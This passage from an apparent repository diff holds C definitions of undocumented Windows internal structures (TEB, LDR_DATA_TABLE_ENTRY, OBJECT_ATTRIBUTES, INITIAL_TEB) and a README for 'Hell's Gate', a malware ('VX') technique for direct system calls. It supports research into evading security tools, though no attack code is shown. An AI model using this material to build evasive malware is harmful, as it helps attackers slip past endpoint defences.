ACTIVATION_CONTEXT_STACK ActivationContextStack;
UCHAR SpareBytes1[24];
#endif
GDI_TEB_BATCH GdiTebBatch;
CLIENT_ID RealClientId;
PVOID GdiCachedProcessHandle;
ULONG GdiClientPID;
ULONG GdiClientTID;
PVOID GdiThreadLocalInfo;
PSIZE_T Win32ClientInfo[62];
PVOID glDispatchTable[233];
PSIZE_T glReserved1[29];
PVOID glReserved2;
PVOID glSectionInfo;
PVOID glSection;
PVOID glTable;
PVOID glCurrentRC;
PVOID glContext;
NTSTATUS LastStatusValue;
UNICODE_STRING StaticUnicodeString;
WCHAR StaticUnicodeBuffer[261];
PVOID DeallocationStack;
PVOID TlsSlots[64];
LIST_ENTRY TlsLinks;
PVOID Vdm;
PVOID ReservedForNtRpc;
PVOID DbgSsReserved[2];
#if (NTDDI_VERSION >= NTDDI_WS03)
ULONG HardErrorMode;
#else
ULONG HardErrorsAreDisabled;
#endif
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)];
GUID ActivityId;
PVOID SubProcessTag;
PVOID EtwLocalData;
PVOID EtwTraceData;
#elif (NTDDI_VERSION >= NTDDI_WS03)
PVOID Instrumentation[14];
PVOID SubProcessTag;
PVOID EtwLocalData;
#else
PVOID Instrumentation[16];
#endif
PVOID WinSockData;
ULONG GdiBatchCount;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
BOOLEAN SpareBool0;
BOOLEAN SpareBool1;
BOOLEAN SpareBool2;
#else
BOOLEAN InDbgPrint;
BOOLEAN FreeStackOnTermination;
BOOLEAN HasFiberData;
#endif
UCHAR IdealProcessor;
#if (NTDDI_VERSION >= NTDDI_WS03)
ULONG GuaranteedStackBytes;
#else
ULONG Spare3;
#endif
PVOID ReservedForPerf;
PVOID ReservedForOle;
ULONG WaitingOnLoaderLock;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID SavedPriorityState;
ULONG_PTR SoftPatchPtr1;
ULONG_PTR ThreadPoolData;
#elif (NTDDI_VERSION >= NTDDI_WS03)
ULONG_PTR SparePointer1;
ULONG_PTR SoftPatchPtr1;
ULONG_PTR SoftPatchPtr2;
#else
Wx86ThreadState Wx86Thread;
#endif
PVOID* TlsExpansionSlots;
#if defined(_WIN64) && !defined(EXPLICIT_32BIT)
PVOID DeallocationBStore;
PVOID BStoreLimit;
#endif
ULONG ImpersonationLocale;
ULONG IsImpersonating;
PVOID NlsCache;
PVOID pShimData;
ULONG HeapVirtualAffinity;
HANDLE CurrentTransactionHandle;
PTEB_ACTIVE_FRAME ActiveFrame;
#if (NTDDI_VERSION >= NTDDI_WS03)
PVOID FlsData;
#endif
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID PreferredLangauges;
PVOID UserPrefLanguages;
PVOID MergedPrefLanguages;
ULONG MuiImpersonation;
union
{
struct
{
USHORT SpareCrossTebFlags : 16;
};
USHORT CrossTebFlags;
};
union
{
struct
{
USHORT DbgSafeThunkCall : 1;
USHORT DbgInDebugPrint : 1;
USHORT DbgHasFiberData : 1;
USHORT DbgSkipThreadAttach : 1;
USHORT DbgWerInShipAssertCode : 1;
USHORT DbgIssuedInitialBp : 1;
USHORT DbgClonedThread : 1;
USHORT SpareSameTebBits : 9;
};
USHORT SameTebFlags;
};
PVOID TxnScopeEntercallback;
PVOID TxnScopeExitCAllback;
PVOID TxnScopeContext;
ULONG LockCount;
ULONG ProcessRundown;
ULONG64 LastSwitchTime;
ULONG64 TotalSwitchOutTime;
LARGE_INTEGER WaitReasonBitMap;
#else
BOOLEAN SafeThunkCall;
BOOLEAN BooleanSpare[3];
#endif
} TEB, * PTEB;
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
ULONG TimeDateStamp;
PVOID LoadedImports;
};
PACTIVATION_CONTEXT EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
PVOID RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _INITIAL_TEB {
PVOID StackBase;
PVOID StackLimit;
PVOID StackCommit;
PVOID StackCommitMax;
PVOID StackReserved;
} INITIAL_TEB, * PINITIAL_TEB;
+12
View File
@@ -0,0 +1,12 @@
## Hell's Gate ##
Original C Implementation of the Hell's Gate VX Technique
<br />
<br />
Link to the paper: https://vxug.fakedoma.in/papers/hells-gate.pdf
<br /> PDF also included in this repository
<br />
<br />
Authors:
* Paul Laîné (@am0nsec)
* smelly__vx (@RtlMateusz)
BIN
View File
Binary file not shown.